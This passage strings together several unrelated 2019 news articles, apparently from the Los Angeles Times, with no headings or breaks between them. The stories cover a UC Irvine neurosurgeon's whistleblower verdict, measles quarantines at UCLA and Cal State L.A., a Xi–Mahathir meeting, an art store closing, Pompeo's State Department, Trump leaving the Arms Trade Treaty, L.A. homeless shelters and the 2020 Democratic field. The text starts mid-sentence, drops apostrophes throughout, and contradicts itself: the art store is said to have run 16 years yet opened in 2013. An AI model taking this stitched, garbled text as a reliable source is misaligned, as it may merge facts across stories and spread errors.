whistleblower protection laws when he was retaliated against for filing a grievance against his supervisors. I am incredibly relieved to finally be vindicated now, six years after the event and 2.75 years since having to file a lawsuit, plaintiff Mark Linskey, a tenured professor of neurological surgery, said in a statement following Mondays verdict. The lawsuit, filed in June 2016, alleged that defendant Ralph Clayman, former dean of the medical school, along with Johnny Delashaw, former chairman of the department of neurological surgery, collaborated to oust Linskey from the department in retaliation for a grievance he had filed against them expressing concerns about patient safety and conflicts of interest. In the complaint, Linskey alleged patient safety was put at risk in June 2012 when vascular neurosurgery cases surgery done under a microscope on blood vessels in or around the brain or under the neck were removed from the general neurosurgery on-call service and that future emergency neurovascular cases were reserved for Delashaw and another doctor. Advertisement Linskey said he requested inclusion in the neurosurgery vascular call schedule and was denied. Linskey filed a grievance with the Committee on Privilege and Tenure in March 2013, naming Clayman and Delashaw. The lawsuit alleged that Clayman retaliated against Linskey by pushing to have him moved from the department of neurosurgery to the department of general surgery. It also alleged that Delashaw threatened residents by ordering them to not assist Linskey during surgery and discouraged verbal communication with him. Linskey also named the UC Board of Regents in the lawsuit, saying it failed to protect him even after he submitted a UCI Whistleblower Retaliation Complaint Form in May 2014. Clayman departed as dean in 2014 to be a professor in the UCI department of urology. He did not immediately return a call seeking comment Thursday, and his attorneys referred questions to UCI, which declined to comment. UC also referred questions to UCI. Delashaw, who left in 2013, was originally named as a defendant in Linskeys lawsuit, but was removed in summary judgment by Orange County Superior Court Judge Glenn Salter. That decision is being appealed, according to Gina Fernandes, a spokeswoman for Linskeys team. Delashaw could not immediately be reached for comment Thursday. Litigation is continuing as to whether Linskey can be reinstated to his former position in the department of neurological surgery and the universitys residency training program. Linskeys attorney Ivan Puchalt said a judge would hear additional evidence July 22 and make a decision within 30 days. The jury only awarded damages for loss of income and emotional distress. They didnt award future damages, Puchalt said. When [Linskeys] out of his department, his reputation is harmed. Its kind of like a red flag to anyone in a small community of neurosurgeons to not be in your own department. Linskey said he looks forward to healing this breech, and all outstanding issues, and moving forward with renewed hope and positivism. Despite problems and issues with past, and current, leadership decisions, my loyalty and dedication to UC Irvine as an institution and to training new neurosurgeons as part of the neurosurgery residency training program have never wavered, he said. Delashaw left UCI for a hospital in Seattle, where he faced internal complaints over patient care and a high-volume surgical approach, according to a Seattle Times investigation in 2017. He sued the paper a year later, alleging libel and defamation. The Washington medical commission suspended Delashaws medical license in 2017 and reinstated it the following year. He sued five commission members in December in relation to the license suspension, alleging they had violated his constitutional rights, interfered with his ability to practice neurosurgery and defamed him. Both of the lawsuits are ongoing. lilly.nguyen@latimes.com Nguyen writes for Times Community News. Los Angeles County health officials told more than 1,000 college students and staff members who might have been exposed to measles to stay home this week, in one of the largest quarantine orders in state history. The declaration has raised questions about how effective the orders will be and how exactly they will be implemented at UCLA and Cal State Los Angeles, where students have been diagnosed with the disease. But there is one thing public health experts agree on: They dont envy L.A. Measles is one of the most contagious diseases in the world, and a single case can lead to hundreds more. Banishing people to their homes becomes a necessary last resort in a measles outbreak, experts say, especially on college campuses where cases can rapidly spread. What else can you do? said Columbia University public health professor Dr. Stephen Morse. Its disruptive, its resource-intensive and it doesnt make people feel very pleased this is basically the measure youre left with. Advertisement The five people diagnosed with measles so far in L.A. County this year include a UCLA student and a Cal State L.A. student. The number of people in quarantine is dropping daily as people provide health officials with their immunization records, but as of Friday afternoon, 650 people, most of them Cal State L.A. students, remained in isolation, according to officials. The orders are a major undertaking for health officials. If more people do get measles on either of the campuses, even more students might have to be quarantined, possibly through the end of the school year, officials say. Thank God were not confronted with this on my campus, said one East Coast university medical professor. Health officials in other parts of the country have also been turning to extreme measures to try to stop measles outbreaks from mushrooming, including barring unvaccinated children from public spaces and mandating vaccines under penalty of fines. The efforts are the result of public health officials desperation as 2019 shapes up to be the worst measles year in decades in the United States. So far this year, 625 people have been diagnosed with measles nationwide, the highest case count since the disease was considered eliminated in 2000. Marie Choi, right, explains to Sophornia Ko that the Cal State L.A. library is closed Friday morning. (Irfan Khan / Los Angeles Times) *** On Thursday evening, UCLA senior Johnny Schmidt was riding a city bus when he received an unusually long text message. It was from the UCLA dean of students. You may have been exposed to measles, which is very contagious, the text read. You are mandated to isolate yourself until you can provide proof of immunization. Schmidt panicked, unsure whether he needed to immediately get off the bus. But then he remembered he had been vaccinated against measles as a child. The UC system requires that all students provide vaccination records, but the regulation only went into effect for incoming students this school year. Schmidt asked his mother to scan his records and send them to him. Officials soon lifted his quarantine order. UCLA sent similar messages to more than 100 students who went to class in April in the same two buildings as a student sick with measles. Schmidt attended class in both buildings. Measles spreads through coughing and sneezing, but the virus can linger in the air for up to two hours after the sick person leaves the room. If a measles patient touched a desk or a doorknob, people can pick up measles that way too. Within a period of weeks, we could have around 600 people with measles here in L.A. County, L.A. County public health department director Dr. Barbara Ferrer said in a call with reporters Friday. Thats why were so serious about this. The order Schmidt received said he could not attend class or go anywhere else in the coming days. If he had roommates, he could not quarantine himself in his apartment, which he found confusing, he said. Schmidt said he likely would have stayed in his apartment anyway and just informed his roommates and health officials. I dont know where else I would go, he said. As of Friday afternoon, the number of people quarantined at UCLA had fallen to 34, with only one student who lives on campus still under the quarantine orders, according to county officials. Officials said they had made accommodations for that student to not stay in dorm buildings but did not provide further details. At Cal State L.A., an infected student visited a campus library in April that typically has about 2,000 people in and out per day, according to county officials. The health departments investigation identified more than 875 students and staff who were in the library that day, according to Ferrer. As of Friday afternoon, quarantine orders remained in place for about 625 people who had not yet shown proof of immunization, she said. Though there are roughly 1,000 people who live on-campus at Cal State L.A., none are under quarantine orders, according to campus spokesman Robert Lopez. Health officials said they would lift the quarantine orders as soon as people showed documentation that they had been immunized or had a lab test to verify their immunity. Without that proof, people exposed at UCLA could be quarantined until Tuesday and those at Cal State L.A. until Thursday. Officials have to quarantine so many people because they dont know who might be spreading the virus, said Dr. Cameron Wolfe, an infectious disease specialist at Duke University. People with measles become infectious four days before their symptoms begin, so anyone who might have contracted measles needs to be kept far away from other people, he said. In this case, that means anyone who isnt vaccinated against measles and who might have come near the infected student or been in the same buildings around the same time, he added. Suddenly, thats a lot of people, he said. So you can see how the concentric circles of potential contacts get pretty large, pretty quickly, especially if youre in an environment like a college campus getting your arms wrapped around that many people so quickly would be incredibly challenging. Wolfe said the vaccine can be administered in the first 72 hours after exposure to protect against developing measles but it is difficult to identify people that quickly. The exposures at UCLA and Cal State L.A. were in mid-April, so the 72-hour window has passed. Such a large quarantine order is rare, in part because it is difficult to identify everyone a measles patient might have come into contact with on the subway or at a Starbucks. School rosters and records make that task easier. The California health department said in a statement that it is not aware of a recent instance of a quarantine of this size for measles in California. Elsewhere in the country, officials have made dramatic attempts to try to stop the spread of measles this year. In New York City, where nearly 400 people have come down with measles, officials earlier this month began requiring some unvaccinated individuals in Brooklyn to pay a $1,000 fine if they did not get their shots. The measure was challenged in court but was upheld. In Rockland County, northwest of New York City and also the site of a major measles outbreak, officials issued an order banning unvaccinated children from the public. That measure was overturned in court. Theres a big difference between what New York did and what theyre doing here, said UC Hastings law professor Dorit Reiss. The people in L.A. have already been exposed to measles, she said. States have the legal power to quarantine people who have been exposed to contagious diseases, she said. Sometimes there are legal challenges against such quarantine orders, but those lawsuits typically fail, she said. Quarantines are traditional and used quite a bit, she said. This is not a new power I think its making the news because its more widespread. Flash Chinese President Xi Jinping on Thursday met with Malaysian Prime Minister Mahathir Mohamad, who is in Beijing to attend the Second Belt and Road Forum for International Cooperation. Xi said China and Malaysia should take joint pursuit of the Belt and Road Initiative (BRI) as an opportunity to create a bright future for the China-Malaysia relations. The BRI will push forward China's all-round opening-up, which will bring about bigger opportunities for all countries in the world, especially for the neighboring countries, he said. The two sides should strengthen planning, enlarge the cooperation platform and promote high-quality cooperation, Xi said, adding that the two joint industrial parks in Qinzhou, China and Kuantan, Malaysia should be well built into an important connecting point for the New International Land-Sea Trade Corridor, promoting connectivity and development of the two countries and the region. He said the two sides should strengthen multilateral coordination, and improve and upgrade the China-ASEAN cooperation. China supports Malaysia in hosting the Asia-Pacific Economic Cooperation meeting next year, and promoting regional economic integration, economic globalization and the building of an open world economy, Xi said. Mahathir said the BRI is a great initiative with huge potential, which will not only help deal with the infrastructure and transport bottlenecks that are impeding the development of different countries, but also address the problem of unbalanced development among countries and promote cultural dialogue and exchanges. The international community should better know and understand the Belt and Road, which will be beneficial to the world, he said. Malaysia supports the BRI and looks forward to accelerating its own development by jointly building the Belt and Road, he said, adding that Malaysia is willing to enhance cooperation in international and regional affairs with China and jointly push forward ASEAN-China relations. With the number of measles cases in California and across the nation continuing to rise, officials are taking more serious action. Two Southern California colleges are turning to quarantines. Meanwhile, health officials are urging vaccinations. The number of measles cases has been soaring nationwide this year, with 695 cases in 22 states reported so far, the most in the U.S. since 2000. Here is the latest: Advertisement Where is the quarantine? Health officials announced Thursday that more than 200 students and staff members at UCLA and Cal State Los Angeles who have been exposed to measles are being told to stay home. The five people diagnosed with measles in L.A. County so this year include a student from each of the schools. Concerned that the disease could spread quickly on busy college campuses, health officials ordered that students and staff exposed to measles who cannot show they have been vaccinated be quarantined until further notice. County health workers reached out to more than 500 students and faculty members who may have come into contact with the infected UCLA student in early April. As of Thursday afternoon, 79 of those had not provided medical records showing they had been immunized, the university said. RELATED: Understanding measles At Cal State L.A., 156 library employees both students and staff who may have been around the infected student earlier this month, have not been able to provide their immunization records, the university said. As of 5 p.m. Thursday, 235 people at both schools were still facing quarantine orders, according to county health officials. Officials said they would lift the orders for people as soon as they showed they had immunity. Otherwise, the quarantine could last until April 30 at UCLA and May 2 at Cal State L.A.. I know there is concern about measles, particularly among the very small percentage of our community who have not been vaccinated, UCLA Chancellor Gene Block said in a statement. Please be assured that we have the resources we need for prevention and treatment, and that we are working very closely with local public health officials. Cal State L.A. officials said they told those exposed to the disease to stay home. UCLA officials did not respond to questions about how they would handle quarantined students who live in close quarters in dormitories, but in a statement, they said such students would be cared for at UCLA while they are quarantined. What is the status of the measles spread in California? California health officials announced Thursday that 38 people have been infected with measles in the state this year, a tally expected to rise in the coming weeks as outbreaks grow. In California, the measles count jumped by 15 cases in a week, said Dr. Karen Smith, director of the state Department of Public Health. Health. Officials have declared new outbreaks in Sacramento and Los Angeles over the last few days. Overall, Californias high vaccination rates seem to have prevented small outbreaks from mushrooming the way they have elsewhere, experts say. Californias largest outbreak, in Butte County, has spread to 16 people. By contrast, an outbreak in New York City has infected more than 320. Still, pockets of unvaccinated people in California are susceptible, experts say. When a traveler contracts measles abroad and brings it back to the U.S., the disease can spread among groups who arent immunized. What do we know about those who have measles? Fourteen of the 38 people with measles in California caught the illness while visiting other countries, including Thailand, the Philippines, Vietnam and Cambodia, Smith said. Four of those people infected 22 other people in the state, likely living in areas with lower-than-average vaccination rates. Three-quarters of the measles patients in California were not vaccinated at all or had only one of the two recommended doses of the measles vaccine, said Dr. Gil Chavez, deputy director of the state health departments infectious disease center. The vaccine is believed to provide lifetime protection and officials recommend it to anyone who has not been immunized yet. While the shot is estimated to be 97% effective, Chavez said, even in the best of cases, 3% of people who are immunized are not fully protected. Still, people who contract measles even after getting the shot tend to have a less severe form of the illness and are less likely to transmit it to others. Measles patients in California ranged in age from 5 months to 55 years, Smith said. Some have been hospitalized, she said. Though measles is most dangerous to babies under a year old, children younger than 5 and adults older than 20 are more likely to suffer from other serious complications, such as pneumonia, brain swelling and ear infections that can lead to permanent hearing loss. Contrary to what some people think, measles is not a benign childhood disease, Smith said. What are the symptoms of measles? The signs of measles are a lot like cold symptoms, including fever and cough. They usually start about two weeks after exposure. But measles patients also get a characteristic red rash that typically begins on the face and spreads downward toward the feet. If you have a rash, dont go to the emergency room or urgent care. Call your doctors office first so they can make special arrangements for your visit so you dont infect anyone else. Its less than a week before the official closing of San Clemente Art Supply & Framing, the independent arts store Patti and Richard Herdell have run for 16 years, and Patti Herdell is taking stock of their gradually emptying space. The table near the front door where kids could sit and do artwork while their parents shopped is gone. There are no more giant paper rolls in the paper room. Theyve started giving away their plastic display cases that are no longer filled with tubes of oil paint, pastels and watercolors. What they arent missing (yet) is people. Theres a steady stream of customers checking out their final Owners Retiring sale. The adjacent room is packed with adults taking the very last scheduled painting class. Were fine and the business is fine its just time, reads Pattis hand-written closing announcement displayed outside the front door. She quotes the German idiom: Everything has an end, except for the sausage, which has two. Advertisement Im so sad, customer Amy Hanna, a jewelry designer from Laguna Niguel, tells Patti. Im happy for you, but so sad that youre leaving. You brought something to the community thats disappearing. I hate it. Patti tells Hanna that she hates it too. That there have been times where shes wept with customers in the store aisles. That she wishes she were 15 or 20 years younger. The Herdells started the store when they were in their 50s. After their kids were grown and Richard had taken early retirement, they moved their family from Houston to San Clemente with a dream of starting a small business. I met my husband in a place in Houston called Sand Mountain Coffee House, she says of the famed venue that was home to folk musicians in the 60s and 70s. We were teenagers ... it was in a house, and it had the homiest vibe. Everyone who went in there felt like they were family, and we thought, God, if we ever start a business, I would want it to feel like that. Once they arrived in San Clemente, Patti was flipping through a local phone book and realized there were no art supply stores listed. The cover of the phone book happened to feature a landscape painting by San Clemente artist, Rick Delanty. His contact information was inside, and she emailed him asking what hed think of someone opening a family-owned art supply store in town. He sent her a 4-page email explaining why he thought that was a good idea and helped her pick out the stores first supplies. The San Clemente Art Assn. was also an early supporter, advertising the new store on the back of its membership books. Painter Thomas Elliott, the stores longtime custom framer, explains that there had been art stores in San Clemente prior to San Clemente Art Supply opening in 2013, but it had been a while. He had previously worked at both the Art Center of San Clemente, which was there in the 80s, he says, and Frame House, which for decades provided framing and a gallery, but lacked art supplies. San Clemente Art Supply was a culmination of all of that, says Elliot. A revival of all of that. The San Clemente Art Supply & Framing building, built in 1928, originally housed a diner called Big Bear Cafe. A stranger came into the art store one day, and gave Patti Herdell this photograph from 1935. (Photo courtesy of Patti Herdell) We kind of fell into it, and everybody was like Yes! says Patti. The whole artist community came. Everyone who knows about this place loves it, says Hanna, who goes down a list of her artist friends from all over Orange County who came for the stores specialty items that were hard to find elsewhere. They would make field trips to go to the store together. Theres not very many spaces like this anymore, she tells Patti. It made you excited to buy your art supplies. It began a process where you go into your creative space and it makes you want to be more creative. Its like it had a heartbeat of its own, says Patti. The Herdells plan to move to San Diego, but Patti doesnt plan to relax for long. Inspired by her experience at the 2017 Womens March in Washington D.C., she wants to become more of an activist while she still has the energy for it. So even though she knows its the right time to retire and technically her husbands second time retiring she feels guilty. I feel like Im taking something away from people, and that really is hard, says Patti. But then I think, Patti, youre not the end-all of everything. Things happened before you got here, and theyll happen after youre gone. I just hope somebody will take this vibe and realize this is a viable thing to do for the community. Its someone elses turn. San Clemente Art Supply & Framings last day is April 27. For more news and features about Orange County, visit TimesOC.com or follow us on Twitter @timesocofficial. Support our coverage by becoming a digital subscriber. When he took over a troubled State Department a year ago, Secretary of State Michael R. Pompeo promised to restore its swagger, an unlikely goal for the staid diplomatic set. He also vowed to raise morale, fill vacant posts, oversee more transparent diplomacy and allow greater access to his decision-making. His promises were greeted with cautious optimism at Foggy Bottom after the problem-plagued leadership of Rex Tillerson. Today, scores of key ambassadorships and other senior posts remain unfilled. Pompeo has named political appointees to positions normally held by foreign service officers. And at times, he has injected his Christian evangelical faith into policy, overshadowing other human rights concerns. Pompeo, who previously led the CIA, staunchly defends his leadership at the State Department. He cites a realignment of foreign priorities under President Trumps America first policy, including improving relations with some problematic allies, such as Egypt, as well as longtime adversaries like North Korea. Advertisement This year has been an enormous success, Pompeo, 55, said Friday in the State Departments flag-festooned lobby at an anniversary event that began with the strains of Happy by Pharrell Williams. We are growing again. Weve created an idea, one team, one mission, one future, he told several hundred employees. He called on them to embrace a new professional ethos as they conduct a new beginning in foreign policy under Trump. Pompeos enthusiasm hasnt translated into many solid foreign policy successes for administration priorities, however. Tensions have eased with North Korea over the past year, but theres no sign of a nuclear disarmament deal despite two high-profile summits between Trump and North Korean leader Kim Jong Un. Even working-level talks have largely ground to a halt. The White House last year pulled out of the 2015 Iran nuclear deal, insisting it would force Iran back to the negotiating table for more concessions. That has gone nowhere. Pompeos efforts since January to force Venezuelas leftist President Nicolas Maduro to step down also have foundered. A push to produce a Middle East peace plan faltered after the White House effectively sidelined the Palestinians, a critical part of any deal. After multiple delays, Jared Kushner, the presidents senior advisor and son-in-law, now says he will unveil a plan in June. Pompeos loyalty and access to Trump the two shared a private lunch on Thursday has given him unusual influence in a White House wracked by turmoil and turnover. But critics worry about a partisan fervor rare for Americas top diplomat. Mr. Pompeo is a partisan warrior on behalf of Trump as opposed to being the head of the State Department, said Paul Pillar, a 28-year CIA veteran who is now a senior fellow at Georgetown University. Far from emphasizing diplomacy, he is deemphasizing diplomacy, Pillar said. After he was sworn in last April 26, Pompeo initially received good marks at the State Department for lifting a ban on hiring spouses of foreign service officers, an unpopular prohibition imposed by Tillerson. But like Tillerson, Pompeo did not fight the White House when it proposed budget cuts of up to 30% for the State Department and its various arms, including the U.S. Agency for International Development, a major conduit for disaster aid. Congress restored some of the money last year, but further cuts loom for 2020. Pompeo has helped Trump fill some diplomatic posts, as he promised. But 48 of 188 ambassadorial posts about one in four sat empty, according to the American Foreign Service Assn., which tracks the appointments. They included such high-profile posts as the United Nations, Pakistan and, until recently, Saudi Arabia. By comparison, Presidents Obama and George W. Bush had filled about 92% of their ambassadorial posts two years into their tenure. The gaps are just as glaring at State. Nine of 24 assistant secretary positions are empty, including four of the six bureaus responsible for specific regions, including the Middle East. Only two of six undersecretary positions are filled. The documented deficit in core diplomacy positions needs to be addressed, and soon, if we are to avoid losing further commercial, economic, and even political ground to competitors like China, said Barbara Stephenson, president of the foreign service association. Pompeo, with some justification, blames Senate Democrats for slow-walking confirmation of Trumps nominees. For example, the Senate has yet to confirm Brian Bulatao, who was nominated in June 2018 as undersecretary of State for management, the departments third-ranking job. Bulatao attended West Point with Pompeo, was later his business partner and then served as his chief operating officer at the CIA. Democrats have not questioned Bulataos qualifications. Sen. Robert Menendez (D-N.J.), the ranking member of the Senate Foreign Relations Committee, has blocked the nomination over his demand for internal documents about whether political appointees at the State Department searched social media for signs that other employees were criticizing Trump. The departments inspector general is investigating allegations of political retribution. But some nominees have been sidelined for cause. The nomination that has languished longest is that of Douglas Manchester, a San Diego hotel tycoon and former publisher of the San Diego Union-Tribune, who was chosen by Trump to be ambassador to the Bahamas. Manchester told his Senate confirmation hearing in August 2017 that the Bahamas was for all intents and purposes a part of the United States. Though less than 100 miles off the Florida coast, the Bahamas is a sovereign nation. :: Born and raised in Orange, Calif., Pompeo graduated at the top of his class from West Point, served in the Army and moved to Kansas, where he made a fortune in defense-industry sales. He was elected to Congress in 2010 as a vocal member of the Republican tea party faction and was reelected twice. Barrel-chested, square-jawed and energetic, Pompeo still embraces military jargon, referring to diplomatic goals as the mission set. He also remains a strong booster for Trump. After Trumps State of the Union address in January, for example, Pompeo praised the president for putting the interests of the American people first and reasserting American leadership around the world. History will remember this period. Pompeos supporters contend his partisan bent is no longer unusual, noting that traditional bipartisanship has given way to a more divisive style of politics, even in foreign policy. Pompeo has done a great job with the hand he was dealt, said James Jay Carafano, a foreign policy expert at the conservative Heritage Foundation think tank who advised the Trump transition team. He had a department suffering a crisis of confidence, internally skeptical of its leadership and its role, Carafano said. And a very unconventional, demanding president on the other side. He has done well in both jobs. Julian Zelizer, a historian at Princeton University, says Pompeo has taken partisan politics further than his predecessors at the State Department. Like Trump, he fully embraces partisan politicization and acts according to what is best for reelection and the Republican Party, Zelizer said. Pompeos public reliance on his evangelical faith has raised eyebrows among diplomats. When he issued the annual human rights report in March, Pompeo said the U.S. was doing the Lords work. He keeps an open Bible on his desk, he said, to remind me of God and his word, and the truth. He has cited his faith in supporting a White House policy on Israel that upended decades of diplomatic precedent. Last month, he suggested Trump may have become president to fulfill Gods will and free the Jewish people. In emphasizing religious freedom, the State Department has downgraded womens rights and rights for gay and lesbian people by eliminating or cutting funding for some overseas programs, and has expanded a policy that bars giving U.S. aid to womens health organizations that perform abortions or provide counseling for them. He praised Egyptian leader Abdel Fattah Sisi as a beacon for religious freedom because he allowed a new Coptic Christian church to be built in a Cairo suburb. Human rights groups accuse Sisis regime of widespread torture of political prisoners, and using death sentences to settle political scores. Despite his pledge of greater transparency, once-daily State Department briefings by an official spokesman are now infrequent, and he allows far fewer reporters on his official trips than previous secretaries. He also sometimes shows surprising pugnaciousness toward his former colleagues in Congress. In November, after Democratic and Republican senators rebuked Pompeo for refusing to blame Saudi Arabias government for the slaying of U.S.-based Saudi journalist Jamal Khashoggi, Pompeo responded with a scathing op-ed in the Wall Street Journal. He complained of Capitol Hill caterwauling and media pile-on. Trumps support for Riyadh isnt popular in the salons of Washington, he added, but argued that U.S.-Saudi ties are more important than a single death. Last month, Pompeo was testifying to a House appropriations subcommittee when the chairwoman, Rep. Nita Lowey (D-N.Y.) asked a pointed question. Mr. Secretary, Id like to ask you if you think the State Department has gotten its swagger back. When the laughter subsided, Pompeo responded: I hope so, but Ill leave that to others to judge, he said. I hope they have. I have. For more on international affairs, follow @TracyKWilkinson on Twitter With pro-gun legislation largely stalled in Congress, President Trump said Friday he is withdrawing the U.S. from an international agreement on the arms trade, telling the National Rifle Assn. the treaty is badly misguided. Trump made the announcement as he vowed to fight for gun rights and implored members of the nations largest pro-gun group struggling to maintain its influence to rally behind his reelection bid. Its under assault, he said of the constitutional right to bear arms. But not while were here. Trump said he would be revoking the United States status as a signatory of the U.N. Arms Trade Treaty, which regulates international trade in conventional weapons, from small arms to battle tanks, combat aircraft and warships. President Obama signed the pact in 2013 but it has never been ratified by U.S. lawmakers. Advertisement It has long been opposed by the NRA. Under my administration, we will never surrender American sovereignty to anyone, Trump said, before signing a document on stage asking the Senate to halt the ratification process. We will never allow foreign diplomats to trample on your 2nd Amendment freedom. I hope youre happy, he told the group, to cheers. His move against the treaty came as Trump sought to excite an organization that was pivotal to his victory in 2016 but, three years later, is limping toward the next election divided and diminished. You better get out there and vote, he said, telling the crowd of thousands that the 2020 election seems like its a long ways away. Its not. RELATED: NRA sues city of L.A. over its new contract disclosure law Gun activists denounced the treaty when it was under negotiation as an infringement of civilian firearm ownership, despite the well-enshrined legal principle that says no treaty can override the Constitution or U.S. laws. The treaty is aimed at cracking down on illicit trading in small arms, thereby curbing violence in some of the most troubled corners of the world. Advocates of tighter gun restrictions denounced Trumps decision. Kris Brown, president of the Brady organization, said it was a reckless move that will only embolden terrorists and other dangerous actors around the world. In a speech full of grievance, Trump railed against the Russia investigation, which did not conclusively establish a criminal conspiracy between Russians and the Trump campaign. Special counsel Robert S. Mueller III outlined potential episodes of obstruction of justice by the president without concluding that he had committed any crime, leaving such questions for Congress to pursue as it saw fit. They tried for a coup, Trump said. It didnt work out so well. And I didnt need a gun for that, did I? he quipped, adding: Spying. Surveillance. Trying for an overthrow? And we caught em. And in a preemptive attack against his 2020 Democratic challengers, Trump claimed without evidence that the other party wants to take away your guns. An emboldened NRA had high hopes and ambitious plans for easing state and national gun regulations after pouring tens of millions of dollars into the 2016 presidential race, seeing its dark-horse candidate win and Republicans in control of both branches of Congress. But much of the legislation the group championed has stalled, due, in part, to a series of mass shootings, including the massacre at a Parkland, Fla., high school that left 17 dead and launched a youth movement against gun violence that has had a powerful impact. And Democrats won control of the House in the midterms. At the same time, the group is grappling with infighting, bleeding money and facing a series of investigations into its operating practices, including allegations that covert Russian agents seeking to influence the 2016 election courted its officials and funneled money through the group. As Trump landed in Indianapolis, a judge imposed an 18-month prison term on gun-rights activist Maria Butina, an admitted Russian agent who tried to infiltrate American conservative groups. The NRAs shaky fortunes have raised questions about the onetime kingmakers clout heading into 2020. Ive never seen the NRA this vulnerable, said John Feinblatt, president of Everytown for Gun Safety, a nonprofit that advocates for gun-control measures. With Trump in office, gun owners no longer fear the 2nd Amendment is under attack to the extent it was perceived to be under Democrats. Good times are never good for interest groups because its much better when Armageddon is at your doorstep, said Harry Wilson, a Roanoke College professor who has written extensively on gun politics. Fear is a huge motivator in politics. The NRA, said Adam Winkler, a UCLA law professor and expert on gun policy, has also dramatically changed its messaging over the last two years, with its NRATV service advocating a panoply of far-right political views that have turned off some members. At the same time, public sentiment has shifted. A March AP-NORC poll found that 67% of Americans overall think gun laws should be made stricter up from 61% in October 2017. And a June 2018 Gallup poll found overall favorable opinions of the NRA down slightly from October 2015, from 58% to 53%. Unfavorable views have grown, from 35% to 42%. Against that backdrop, Democratic politicians have become more comfortable assailing and even actively running against the NRA and pledging action to curb gun violence. And gun control groups such as Everytown, which is largely financed by former New York City Mayor Michael Bloomberg, and a political action committee formed by Gabrielle Giffords, the former Arizona congresswoman wounded in a shooting, have become better organized and more visible, especially at the state level. That reversal was made clear during the 2018 midterm elections, when those groups vastly outspent the NRA. During the midterms the NRA committed almost a disappearing act, said Everytowns Feinblatt. Winkler, the UCLA law professor, allowed that the group had scored some victories under Trump, including the appointment of two Supreme Court justices who may be open to striking down gun laws. But overall, he said, on the legislative front, the NRA has been frustrated, with priorities such as national reciprocity for conceal carry laws and a repeal of the ban on silencers stalled. Instead, Trump introduced a new federal regulation a ban on bump stocks after a man using the device opened fire on a crowd of concertgoers on the Las Vegas Strip, killing 58 people and wounding hundreds. Finding permanent housing for more than 30,000 homeless people in Los Angeles is going to be even more time-consuming and expensive than anyone expected. Even as the city gears up to spend the $1.2 billion raised under 2016s Proposition HHH, homeless encampments are proliferating. So it made sense that Mayor Eric Garcetti launched, a year ago, a plan that would serve as an interim solution. Under the program known as A Bridge Home, each City Council district would erect one bridge shelter, if not more, to offer several months of housing, storage and intensive support services to 100 homeless people at a time while caseworkers sought to place them in permanent housing. In exchange for accepting a bridge shelter in its midst, a neighborhood would receive intensified city cleaning services and stricter enforcement of city ordinances against homeless people camping on sidewalks during the day. In his State of the City speech last year, Garcetti said he would budget $20 million from the citys general fund to give communities a chance to open beds for our homeless neighbors this year. Homeless Angelenos, he said, cant wait years to get off our streets. We need more options for bringing them inside now. But the Bridge Home program has yet to fulfill the mayors vision of bringing people inside now. Advertisement A year after his speech, only two shelters have opened under the auspices of A Bridge Home. The first, El Puente, is in the historic El Pueblo district downtown near the shops and restaurants of Olvera Street. The second, in Hollywood, just opened last month. A third, at the YWCA in Hollywood, operates like a bridge shelter but is not part of the official Bridge Home program. Instead of costing a little over a million dollars per shelter, each of these facilities is coming in at roughly $3 million or more. (The city is now using state funds to help pay for the shelters.) Some proposed projects have encountered problems building on the land that had been allocated; others faced ferocious NIMBYism from neighborhoods. Nearly a year ago, City Council President Herb Wesson was engulfed in a firestorm of protest from the community over a site he picked. After meetings with community leaders, he picked another. It should be open by Labor Day. (And it will cost $5.5 million.) The Bridge Home program has yet to fulfill the mayors vision of bringing people inside now. A proposed 154-bed shelter on an empty MTA bus yard in Venice would provide much-needed beds to the large homeless population in that community. The mayor has publicly supported it. But opponents have sued the city to stop the project. Only six bridge shelters are currently in construction. Another six have construction funds allocated and are close to breaking ground. Nothing is easy when it comes to creating housing even temporary housing for homeless people in Los Angeles. And these bridge shelters are not merely trailers like the ones FEMA slaps up after a catastrophic earthquake. But still, this interim housing project is taking so long that its become a mini-version of the lengthy, costly effort to build permanent supportive housing. Enter the Fray: First takes on the news of the minute So is this an emergency housing program or not? If it is, obviously, it needs to go faster. Last April, Garcetti declared a shelter crisis and issued an executive directive the following month ordering all his departments to streamline applications, reviews, procurement, inspection and other things. There is still an environmental review, and its allowed to take up to six weeks. By far, the lengthiest part of the process is finding a city-owned site or something a private developer will lease out. Councilman David Ryus office spent a year looking, first finding an underutilized Army Reserve site which the Army refused to make available and then finding a site on Riverside Drive. Some council members have not found any sites at all. Some council members have simply dragged their heels. A spokesperson for Councilwoman Nury Martinez said they found a site in an industrial area in her district last September but were unsure when it would get funded. They are only starting community outreach next month. Thats unacceptably slow. Meanwhile, interim Councilman Greig Smith has totally punted his spokesperson says he will leave the decision on a site to the next council member, who is expected to be seated in August. The mayor needs to pressure reluctant, slow-moving council members, and he needs to help locate sites. Once a site has been found, he needs to ride herd on the process. To his credit, Garcetti has gone to community meetings and faced resistance, telling residents that the only way to get homeless people off streets is to get them in housing. Now, he needs to redouble his efforts to get these bridge shelters sited and constructed quickly. Because this is, indeed, an emergency. Follow the Opinion section on Twitter @latimesopinion or Facebook With former Vice President Joe Bidens announcement that he will seek the 2020 Democratic presidential nomination, the field of would-be challengers to President Trump is complete, or nearly so. No fewer than 20 candidates are seeking the partys nod. Its not only a large field but also a dizzyingly diverse one, ranging from seasoned (some would say superannuated) figures such as Biden and Sen. Bernie Sanders to senators making their first run for the White House (Kamala Harris, Amy Klobuchar, Cory Booker, Elizabeth Warren and Kirsten Gillibrand) to charismatic newcomers Pete Buttigieg, the mayor of South Bend, Ind., and former U.S. Rep. Beto ORourke from Texas. As the campaign unfolds, Democratic voters will be asked to choose among competing visions for the party and the country. But however that crucial contest of ideas is resolved, its vital that the eventual nominee be able to defeat Trump, a uniquely unfit president, and then govern in a way that eases rather than exacerbates national divisions. There can be no doubt that four more years of a Trump presidency would be a disaster for the country. He has proved himself an incompetent and ignorant chief executive who has hemorrhaged Cabinet members and advisors, alienated U.S. allies and shown contempt for the rule of law (as was clear from the recent report by special counsel Robert S. Mueller III). Rather than appeal to what Abraham Lincoln called the better angels of our nature, Trump has savaged the press and his political opponents, demonized immigrants and provided rhetorical aid and comfort to brutal police officers and white nationalists. Not only the Democratic nominee but the party itself must be seen as electable if the country is to be spared the ordeal of a second Trump term. Advertisement So, yes, an important question for voters in next years Democratic primaries must be: Can this candidate defeat Trump? At the same time, its far too early in the process to make pronouncements about what exactly makes a candidate electable. Bidens supporters argue that his popularity with working-class Americans would enable him to siphon voters away from Trump. A similar argument is made on behalf of Sanders, who recently suggested that Trump was betraying his 2016 campaign promise to protect U.S. workers from unfair trade deals. Supporters of other candidates argue that they would be better able to defeat Trump by galvanizing the support of younger voters, whose enthusiastic participation in last years midterm helped the Democrats regain control of the U.S. House of 